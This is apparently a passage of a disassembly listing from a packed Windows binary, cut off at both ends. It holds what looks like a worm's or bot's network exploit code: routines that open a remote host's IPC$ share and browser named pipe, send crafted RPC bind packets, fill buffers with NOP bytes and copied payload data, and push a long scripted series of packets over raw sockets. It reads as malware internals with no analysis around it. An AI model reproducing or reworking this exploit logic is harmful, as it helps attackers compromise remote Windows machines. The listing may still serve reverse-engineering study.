XREF: sub_40D48F+48j call sub_40D515 loc_40D4C5: ; CODE XREF: sub_40D48F+4Cj ; sub_40D48F+53j xor al, al jmp short loc_40D510 ; --------------------------------------------------------------------------- loc_40D4C9: ; CODE XREF: sub_40D48F+19j ; sub_40D48F+20j ... cmp edi, edx jnz short loc_40D4E4 cmp [esp+8+arg_4], dl jz short loc_40D4D9 push 1 mov ecx, esi jmp short loc_40D4C0 ; --------------------------------------------------------------------------- loc_40D4D9: ; CODE XREF: sub_40D48F+42j cmp eax, edx jz short loc_40D4C5 mov [esi+8], edx mov [eax], dl jmp short loc_40D4C5 ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D48F+3Cj cmp [esp+8+arg_4], dl jz short loc_40D501 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D4F6 cmp eax, edi jnb short loc_40D50E loc_40D4F6: ; CODE XREF: sub_40D48F+61j push 1 mov ecx, esi call sub_40D515 jmp short loc_40D506 ; --------------------------------------------------------------------------- loc_40D501: ; CODE XREF: sub_40D48F+59j cmp [esi+0Ch], edi jnb short loc_40D50E loc_40D506: ; CODE XREF: sub_40D48F+70j mov ecx, esi loc_40D508: ; CODE XREF: sub_40D48F+2Bj push edi call sub_40D5E9 loc_40D50E: ; CODE XREF: sub_40D48F+65j ; sub_40D48F+75j mov al, 1 loc_40D510: ; CODE XREF: sub_40D48F+38j pop edi pop esi retn 8 sub_40D48F endp ; =============== S U B R O U T I N E ======================================= sub_40D515 proc near ; CODE XREF: sub_40CEE3+1Fp ; sub_40CEE3+16Bp ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D53D mov eax, [esi+4] test eax, eax jz short loc_40D53D dec eax mov cl, [eax] test cl, cl jz short loc_40D536 cmp cl, 0FFh jz short loc_40D536 dec byte ptr [eax] jmp short loc_40D53D ; --------------------------------------------------------------------------- loc_40D536: ; CODE XREF: sub_40D515+16j ; sub_40D515+1Bj push eax call sub_41D453 pop ecx loc_40D53D: ; CODE XREF: sub_40D515+8j ; sub_40D515+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D515 endp ; =============== S U B R O U T I N E ======================================= sub_40D54D proc near ; CODE XREF: .packed:0040D273p ; sub_40D6A6+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 push edi mov esi, ecx call sub_40D48F test al, al jz short loc_40D57B push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call near ptr sub_41CAE0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D57B: ; CODE XREF: sub_40D54D+12j mov eax, esi pop edi pop esi retn 8 sub_40D54D endp ; =============== S U B R O U T I N E ======================================= sub_40D582 proc near ; CODE XREF: sub_40D3C2+35p ; sub_40D3C2+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D595 call sub_426ECC loc_40D595: ; CODE XREF: sub_40D582+Cj mov ecx, edi call sub_40D6A6 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D5AB mov ebx, eax loc_40D5AB: ; CODE XREF: sub_40D582+25j test ebx, ebx jbe short loc_40D5E1 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D460 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D48F test al, al jz short loc_40D5E1 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D5E1: ; CODE XREF: sub_40D582+2Bj ; sub_40D582+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D582 endp ; =============== S U B R O U T I N E ======================================= sub_40D5E9 proc near ; CODE XREF: sub_40D48F+7Ap mov eax, offset loc_4276C0 call sub_41D434 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D60F mov edi, [ebp+8] loc_40D60F: ; CODE XREF: sub_40D5E9+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D61C xor eax, eax loc_40D61C: ; CODE XREF: sub_40D5E9+2Fj push eax call sub_41D795 pop ecx mov [ebp+8], eax jmp short loc_40D64D ; --------------------------------------------------------------------------- loc_40D628: ; DATA XREF: .packed:00428FDCo mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D637 xor eax, eax loc_40D637: ; CODE XREF: sub_40D5E9+4Aj push eax call sub_41D795 mov [ebp+8], eax pop ecx mov eax, offset loc_40D647 retn ; --------------------------------------------------------------------------- loc_40D647: ; DATA XREF: sub_40D5E9+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D64D: ; CODE XREF: sub_40D5E9+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D66B cmp eax, edi jbe short loc_40D65A mov eax, edi loc_40D65A: ; CODE XREF: sub_40D5E9+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call near ptr sub_41CAE0 add esp, 0Ch loc_40D66B: ; CODE XREF: sub_40D5E9+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D515 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D68B mov edi, ebx loc_40D68B: ; CODE XREF: sub_40D5E9+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [edi+eax], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D5E9 endp ; =============== S U B R O U T I N E ======================================= sub_40D6A6 proc near ; CODE XREF: sub_40D582+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D6D3 mov al, [esi-1] test al, al jz short loc_40D6D3 cmp al, 0FFh jz short loc_40D6D3 push 1 call sub_40D515 push esi call sub_41B7B0 pop ecx push eax push esi mov ecx, edi call sub_40D54D loc_40D6D3: ; CODE XREF: sub_40D6A6+9j ; sub_40D6A6+10j ... pop edi pop esi retn sub_40D6A6 endp ; =============== S U B R O U T I N E ======================================= sub_40D6D6 proc near ; DATA XREF: .packed:0042A00Co test byte_4DE34C, 1 jnz short loc_40D6E6 or byte_4DE34C, 1 loc_40D6E6: ; CODE XREF: sub_40D6D6+7j jmp $+5 push offset nullsub_1 call sub_41D810 pop ecx retn sub_40D6D6 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov ebx, 8Bh sub esp, 0BCh lea esi, [ebp+8] mov [ebp+0A8h], ebx push 2Fh pop ecx mov edi, esp rep movsd call sub_40DDC4 push 2Fh lea esi, [ebp+8] pop ecx mov [ebp+0A8h], ebx mov edi, esp mov [ebp-4], eax rep movsd call sub_40E2B0 push 2Fh lea esi, [ebp+8] pop ecx mov [ebp+0A8h], ebx mov edi, esp mov [ebp-8], eax rep movsd call sub_40E6CD add esp, 0BCh cmp dword ptr [ebp-4], 0 jnz short loc_40D766 cmp dword ptr [ebp-8], 0 jnz short loc_40D766 test eax, eax jz short loc_40D769 loc_40D766: ; CODE XREF: .packed:0040D75Aj ; .packed:0040D760j xor eax, eax inc eax loc_40D769: ; CODE XREF: .packed:0040D764j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D76E proc near ; DATA XREF: .packed:0042A010o jmp $+5 sub_40D76E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D773 proc near mov eax, dword_4339A8 add eax, 6 mov dword_4D0970, eax retn sub_40D773 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D781 proc near ; CODE XREF: sub_40D781+D0p ; sub_40D86F+484p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D795 or [ebp+arg_7], 1 jmp short loc_40D799 ; --------------------------------------------------------------------------- loc_40D795: ; CODE XREF: sub_40D781+Cj and [ebp+arg_7], 0FEh loc_40D799: ; CODE XREF: sub_40D781+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D7BD or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D7CF ; --------------------------------------------------------------------------- loc_40D7BD: ; CODE XREF: sub_40D781+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D7CF: ; CODE XREF: sub_40D781+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41BCA5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D868 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call near ptr sub_41CAE0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_4280E0 ; WriteFile test eax, eax jz short loc_40D85F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D85F push [ebp+arg_20] call sub_41B881 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D85B push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D781 add esp, 2Ch jmp short loc_40D86A ; --------------------------------------------------------------------------- loc_40D85B: ; CODE XREF: sub_40D781+B3j mov al, 1 jmp short loc_40D86A ; --------------------------------------------------------------------------- loc_40D85F: ; CODE XREF: sub_40D781+9Cj ; sub_40D781+A4j push [ebp+arg_20] call sub_41B881 pop ecx loc_40D868: ; CODE XREF: sub_40D781+61j xor al, al loc_40D86A: ; CODE XREF: sub_40D781+D8j ; sub_40D781+DCj pop edi pop esi pop ebx leave retn sub_40D781 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D86F proc near ; CODE XREF: sub_40DDC4+15p ; sub_40DDC4+3Cp var_60E0 = byte ptr -60E0h var_40E0 = byte ptr -40E0h var_20E0 = byte ptr -20E0h var_E0 = byte ptr -0E0h var_CC = dword ptr -0CCh var_C0 = byte ptr -0C0h var_BC = byte ptr -0BCh var_BB = byte ptr -0BBh var_BA = byte ptr -0BAh var_B9 = byte ptr -0B9h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h var_B2 = word ptr -0B2h var_B0 = dword ptr -0B0h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = word ptr -0A0h var_9E = byte ptr -9Eh var_9C = byte ptr -9Ch var_8C = dword ptr -8Ch var_88 = byte ptr -88h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = qword ptr -68h var_60 = byte ptr -60h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_42 = word ptr -42h var_40 = dword ptr -40h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A8 = dword ptr 0B0h arg_BC = dword ptr 0C4h push ebp mov ebp, esp mov eax, 60E0h call sub_41C2F0 push ebx push esi push edi lea eax, [ebp+arg_4] push offset a_ ; "." push eax call sub_41D930 pop ecx xor ebx, ebx test eax, eax pop ecx mov esi, 2000h jz short loc_40D8E3 lea eax, [ebp+arg_4] push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp+var_20E0] push esi push eax call sub_41C150 push 20h lea eax, [ebp+var_E0] push ebx push eax call sub_41BD60 lea eax, [ebp+var_20E0] add esp, 1Ch mov [ebp+var_CC], eax mov eax, offset byte_43FE14 push ebx push eax push eax lea eax, [ebp+var_E0] push eax call dword_4CDD0C loc_40D8E3: ; CODE XREF: sub_40D86F+29j lea eax, [ebp+arg_4] push eax push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" lea eax, [ebp+var_40E0] push esi push eax call sub_41C150 add esp, 10h lea eax, [ebp+var_40E0] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_4280EC ; CreateFileA cmp eax, 0FFFFFFFFh mov dword ptr [ebp+var_C+4], eax jnz short loc_40D928 loc_40D921: ; CODE XREF: sub_40D86F+266j ; sub_40D86F+371j ... xor eax, eax jmp loc_40DDBF ; --------------------------------------------------------------------------- loc_40D928: ; CODE XREF: sub_40D86F+B0j push 48h lea eax, [ebp+var_BC] push ebx push eax call sub_41BD60 push 10h xor edi, edi pop eax inc edi mov [ebp+var_B8], eax push eax lea eax, [ebp+var_9C] push offset dword_4339FC push eax mov [ebp+var_BC], 5 mov [ebp+var_BB], bl mov [ebp+var_BA], 0Bh mov [ebp+var_B9], 3 mov [ebp+var_B4], 48h mov [ebp+var_B2], bx mov [ebp+var_B0], ebx mov [ebp+var_AC], 10B8h mov [ebp+var_AA], 10B8h mov [ebp+var_A8], ebx mov [ebp+var_A4], edi mov [ebp+var_A0], bx mov [ebp+var_9E], 1 call near ptr sub_41CAE0 push 10h lea eax, [ebp+var_88] push offset dword_4339E8 push eax mov [ebp+var_8C], 3 call near ptr sub_41CAE0 add esp, 24h lea eax, [ebp+var_C0] mov [ebp+var_78], 2 push ebx push eax lea eax, [ebp+var_BC] push 48h push eax push dword ptr [ebp+var_C+4] call dword_4280E0 ; WriteFile test eax, eax jz loc_40DACC lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_60E0] push esi push eax push dword ptr [ebp+var_C+4] call dword_4280E8 ; ReadFile push ebx call sub_41D851 push eax call sub_41C0A8 push 14h lea eax, [ebp+var_74] push 41h push eax call sub_41BD60 push 1Ch lea eax, [ebp+var_34] push 41h push eax call sub_41BD60 add esp, 20h call sub_41C0B2 mov esi, [ebp+arg_BC] mov [ebp+var_74], eax mov dword ptr [ebp+var_68], edi mov [ebp+var_6C], ebx lea esi, [esi+esi*4] mov [ebp+var_70], edi shl esi, 2 mov word ptr [ebp+var_68+4], bx mov [ebp+var_2C], ebx cmp byte_433990[esi], bl jz short loc_40DA75 push 4 mov [ebp+var_28], edi mov [ebp+var_30], edi push offset dword_4D0974 jmp short loc_40DA85 ; --------------------------------------------------------------------------- loc_40DA75: ; CODE XREF: sub_40D86F+1F5j push 2 pop eax push 4 mov [ebp+var_28], eax mov [ebp+var_30], eax push (offset loc_4339DF+1) loc_40DA85: ; CODE XREF: sub_40D86F+204j lea eax, [ebp+var_24] push eax call near ptr sub_41CAE0 add esp, 0Ch call sub_41C0B2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_34], edx call sub_41C0B2 cdq idiv edi mov eax, dword_433984[esi] mov [ebp+var_1C], ebx push eax mov [ebp+arg_BC], eax inc edx mov [ebp+var_20], edx call sub_41BCA5 mov edi, eax pop ecx cmp edi, ebx jnz short loc_40DADA loc_40DACC: ; CODE XREF: sub_40D86F+186j push dword ptr [ebp+var_C+4] call dword_42806C ; CloseHandle jmp loc_40D921 ; --------------------------------------------------------------------------- loc_40DADA: ; CODE XREF: sub_40D86F+25Bj mov eax, [ebp+arg_BC] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41BD60 mov eax, [ebp+arg_BC] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41BD60 mov eax, dword_43398C[esi] push 7 add eax, edi push offset dword_433978 push eax mov [ebp+var_4], eax call near ptr sub_41CAE0 mov eax, [ebp+var_4] push 15Ch add eax, 7 push offset dword_433818 push eax call near ptr sub_41CAE0 mov eax, dword_433988[esi] add esp, 30h mov [ebp+var_4], eax add eax, edi cmp byte_433990[esi], bl jz short loc_40DB91 push 4 push offset dword_4D0970 push eax call near ptr sub_41CAE0 add [ebp+var_4], 0Ch mov esi, offset dword_4339A8 mov eax, [ebp+var_4] push 4 add eax, edi push esi push eax call near ptr sub_41CAE0 mov eax, [ebp+var_4] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+var_4], eax call near ptr sub_41CAE0 mov eax, [ebp+var_4] push 4 add eax, 0Ch push esi push eax call near ptr sub_41CAE0 add esp, 30h jmp short loc_40DBB7 ; --------------------------------------------------------------------------- loc_40DB91: ; CODE XREF: sub_40D86F+2D5j mov [ebp+var_4], eax mov dword ptr [ebp+var_C], 10h mov esi, offset dword_4339A8 loc_40DBA0: ; CODE XREF: sub_40D86F+346j push 4 push esi push [ebp+var_4] call near ptr sub_41CAE0 add [ebp+var_4], 4 add esp, 0Ch dec dword ptr [ebp+var_C] jnz short loc_40DBA0 loc_40DBB7: ; CODE XREF: sub_40D86F+320j mov eax, [ebp+arg_BC] add eax, 42h push eax call sub_41BCA5 mov esi, eax pop ecx cmp esi, ebx mov dword ptr [ebp+var_C], esi jnz short loc_40DBE5 push dword ptr [ebp+var_C+4] call dword_42806C ; CloseHandle push edi call sub_41B881 pop ecx jmp loc_40D921 ; --------------------------------------------------------------------------- loc_40DBE5: ; CODE XREF: sub_40D86F+35Fj mov eax, [ebp+arg_BC] add eax, 42h push eax push ebx ; double push esi call sub_41BD60 lea eax, [ebp+var_74] push 14h push eax push esi call near ptr sub_41CAE0 mov eax, [ebp+arg_BC] mov dword ptr [ebp+var_14+4], ebx mov dword ptr [ebp+var_14], eax add esp, 10h fild [ebp+var_14] fmul flt_4286AC fstp [esp+0Ch+var_C] call sub_41CF8F call sub_41CF68 push [ebp+arg_BC] mov [esi+1Ch], eax mov [esi+14h], eax lea eax, [esi+20h] push edi push eax mov [esi+18h], ebx call near ptr sub_41CAE0 mov eax, [ebp+arg_BC] add esp, 14h add eax, 20h test al, 3 mov [ebp+var_4], eax jz short loc_40DC5B loc_40DC53: ; CODE XREF: sub_40D86F+3E7j inc eax test al, 3 jnz short loc_40DC53 mov [ebp+var_4], eax loc_40DC5B: ; CODE XREF: sub_40D86F+3E2j lea ecx, [ebp+var_34] push 1Ch add eax, esi push ecx push eax call near ptr sub_41CAE0 add [ebp+var_4], 1Ch push edi call sub_41B881 push 18h lea eax, [ebp+var_4C] push ebx push eax call sub_41BD60 push 14h lea eax, [ebp+var_60] push ebx push eax mov [ebp+var_4C], 5 mov [ebp+var_4B], bl mov [ebp+var_4A], bl mov [ebp+var_49], 3 mov [ebp+var_48], 10h mov [ebp+var_42], bx mov [ebp+var_40], ebx mov [ebp+var_38], bx mov [ebp+var_36], 1Fh call sub_41BD60 add esp, 28h push ebx push ebx push 1 push ebx call dword_4280E4 ; CreateEventA mov [ebp+var_50], eax mov byte ptr [ebp+arg_BC+3], bl mov dword ptr [ebp+var_14+4], ebx loc_40DCCB: ; CODE XREF: sub_40D86F+51Ej cmp dword ptr [ebp+var_14+4], 2 jge loc_40DD98 push 1 push 10B8h push [ebp+var_4] inc dword ptr [ebp+var_14+4] push esi lea esi, [ebp+var_4C] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp+var_C+4] rep movsd call sub_40D781 add esp, 2Ch test al, al jz loc_40DD95 cmp [ebp+var_50], ebx jz short loc_40DD84 lea eax, [ebp+var_60] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_60E0] push 2000h push eax push dword ptr [ebp+var_C+4] call dword_4280E8 ; ReadFile test eax, eax jnz short loc_40DD3A call dword_42808C ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40D921 loc_40DD3A: ; CODE XREF: sub_40D86F+4B8j push 3E8h push [ebp+var_50] call dword_4280A0 ; WaitForSingleObject cmp eax, 102h jnz short loc_40DD84 push 65h lea esi, [ebp+arg_0] sub esp, 0BCh mov byte ptr [ebp+arg_BC+3], 1 push 2Fh pop ecx mov edi, esp rep movsd call sub_418C7F mov eax, [ebp+arg_A8] add esp, 0C0h shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] loc_40DD84: ; CODE XREF: sub_40D86F+497j ; sub_40D86F+4DEj cmp byte ptr [ebp+arg_BC+3], bl mov esi, dword ptr [ebp+var_C] jz loc_40DCCB jmp short loc_40DD98 ; --------------------------------------------------------------------------- loc_40DD95: ; CODE XREF: sub_40D86F+48Ej mov esi, dword ptr [ebp+var_C] loc_40DD98: ; CODE XREF: sub_40D86F+460j ; sub_40D86F+524j push dword ptr [ebp+var_C+4] mov edi, dword_42806C call edi ; CloseHandle push esi call sub_41B881 cmp [ebp+var_50], ebx pop ecx jz short loc_40DDB4 push [ebp+var_50] call edi ; CloseHandle loc_40DDB4: ; CODE XREF: sub_40D86F+53Ej xor eax, eax cmp byte ptr [ebp+arg_BC+3], bl setnz al loc_40DDBF: ; CODE XREF: sub_40D86F+B4j pop edi pop esi pop ebx leave retn sub_40D86F endp ; =============== S U B R O U T I N E ======================================= sub_40DDC4 proc near ; CODE XREF: .packed:0040D71Bp arg_0 = byte ptr 4 push esi push edi push 0 lea esi, [esp+0Ch+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40D86F add esp, 0C0h test eax, eax jz short loc_40DDED xor eax, eax inc eax jmp short loc_40DE11 ; --------------------------------------------------------------------------- loc_40DDED: ; CODE XREF: sub_40DDC4+22j push 1 lea esi, [esp+0Ch+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40D86F add esp, 0C0h neg eax sbb eax, eax neg eax loc_40DE11: ; CODE XREF: sub_40DDC4+27j pop edi pop esi retn sub_40DDC4 endp ; =============== S U B R O U T I N E ======================================= sub_40DE14 proc near ; CODE XREF: sub_40E2B0+35p var_230 = byte ptr -230h var_210 = byte ptr -210h var_1F0 = byte ptr -1F0h var_1D0 = byte ptr -1D0h var_1B0 = byte ptr -1B0h var_190 = byte ptr -190h var_170 = byte ptr -170h var_150 = byte ptr -150h var_130 = byte ptr -130h var_110 = byte ptr -110h var_F0 = byte ptr -0F0h var_D0 = byte ptr -0D0h var_B0 = byte ptr -0B0h var_90 = byte ptr -90h var_70 = byte ptr -70h var_50 = byte ptr -50h var_30 = byte ptr -30h var_20 = dword ptr -20h var_10 = byte ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 arg_136F8 = byte ptr 136FCh arg_13720 = dword ptr 13724h arg_13864 = byte ptr 13868h arg_1388C = byte ptr 13890h arg_13924 = dword ptr 13928h mov eax, 13894h call sub_41C2F0 push ebx push ebp push esi push edi xor edi, edi push edi push 1 push 2 call dword_428220 ; socket mov esi, eax lea eax, [esp+1Ch+arg_1388C] push eax mov word ptr [esp+20h+var_8], 2 call dword_428234 ; inet_addr push [esp+20h+arg_13924] mov [esp+24h+var_8], eax call dword_42820C ; ntohs mov [esp+24h+var_E], ax lea eax, [esp+24h+var_10] push 10h push eax push esi call dword_428210 ; connect test eax, eax jge short loc_40DE75 loc_40DE6E: ; CODE XREF: sub_40DE14+275j xor eax, eax jmp loc_40E2A5 ; --------------------------------------------------------------------------- loc_40DE75: ; CODE XREF: sub_40DE14+58j lea eax, [esp+30h+var_20] push 4 push eax push 1006h push 0FFFFh push esi mov [esp+44h+var_20], 1388h call dword_428214 ; setsockopt lea eax, [esp+44h+arg_13864] push 1 push eax call sub_418466 pop ecx cmp eax, 2 pop ecx jz loc_40E08E cmp eax, 1 jz loc_40E08E mov ebx, dword_428224 push edi push 48h push offset aB ; "" push esi call ebx ; send mov ebp, dword_428218 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_433A80 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_433AE0 push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_433B98 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_433C90 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_433CD0 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_433D38 push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_433DD0 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_433F30 push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434090 push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_4341F0 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv test eax, eax jz loc_40E269 cmp eax, 0FFFFFFFFh jz loc_40E269 push 0 push 15Bh push offset dword_433DD0 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_433F30 push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434090 push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 6Ah push offset dword_4341F0 push esi call ebx ; send push 1387Fh lea eax, [esp+218h+var_1F0] push 0 push eax call sub_41BD60 add esp, 0Ch loc_40E055: ; CODE XREF: sub_40DE14+450j push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_40E269 cmp eax, 0FFFFFFFFh jz loc_40E269 cmp [esp+224h+arg_13720], 8Bh push esi jnz loc_40E26A call dword_42821C ; closesocket jmp loc_40DE6E ; --------------------------------------------------------------------------- loc_40E08E: ; CODE XREF: sub_40DE14+95j ; sub_40DE14+9Ej mov ebx, dword_428224 push edi push 48h push offset unk_434260 push esi call ebx ; send mov ebp, dword_428218 push edi mov edi, 13880h lea eax, [esp+58h+var_30] push edi push eax push esi call ebp ; recv push 0 push 58h push offset dword_4342B0 push esi call ebx ; send push 0 lea eax, [esp+78h+var_50] push edi push eax push esi call ebp ; recv push 0 push 0B0h push offset dword_434310 push esi call ebx ; send push 0 lea eax, [esp+98h+var_70] push edi push eax push esi call ebp ; recv push 0 push 0F6h push offset dword_4343C8 push esi call ebx ; send push 0 lea eax, [esp+0B8h+var_90] push edi push eax push esi call ebp ; recv push 0 push 66h push offset dword_4344C0 push esi call ebx ; send push 0 lea eax, [esp+0D8h+var_B0] push edi push eax push esi call ebp ; recv push 0 push 3Eh push offset dword_434528 push esi call ebx ; send push 0 lea eax, [esp+0F8h+var_D0] push edi push eax push esi call ebp ; recv push 0 push 60h push offset dword_434568 push esi call ebx ; send push 0 lea eax, [esp+118h+var_F0] push edi push eax push esi call ebp ; recv push 0 push 96h push offset dword_4345D0 push esi call ebx ; send push 0 lea eax, [esp+138h+var_110] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434668 push esi call ebx ; send push 0 lea eax, [esp+158h+var_130] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_4347C8 push esi call ebx ; send push 0 lea eax, [esp+178h+var_150] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434928 push esi call ebx ; send push 0 lea eax, [esp+198h+var_170] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434A88 push esi call ebx ; send push 0 lea eax, [esp+1B8h+var_190] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_434BE8 push esi call ebx ; send push 0 lea eax, [esp+1D8h+var_1B0] push edi push eax push esi call ebp ; recv test eax, eax jz loc_40E269 cmp eax, 0FFFFFFFFh jz short loc_40E269 push 0 push 15Bh push offset dword_434668 push esi call ebx ; send push 0 lea eax, [esp+1F8h+var_1D0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_4347C8 push esi call ebx ; send push 0 lea eax, [esp+218h+var_1F0] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434928 push esi call ebx ; send push 0 lea eax, [esp+238h+var_210] push edi push eax push esi call ebp ; recv push 0 push 15Bh push offset dword_434A88 push esi call ebx ; send push 0 lea eax, [esp+258h+var_230] push edi push eax push esi call ebp ; recv push 0 push 0CEh push offset dword_434BE8 push esi call ebx ; send jmp loc_40E055 ; --------------------------------------------------------------------------- loc_40E269: ; CODE XREF: sub_40DE14+1C4j ; 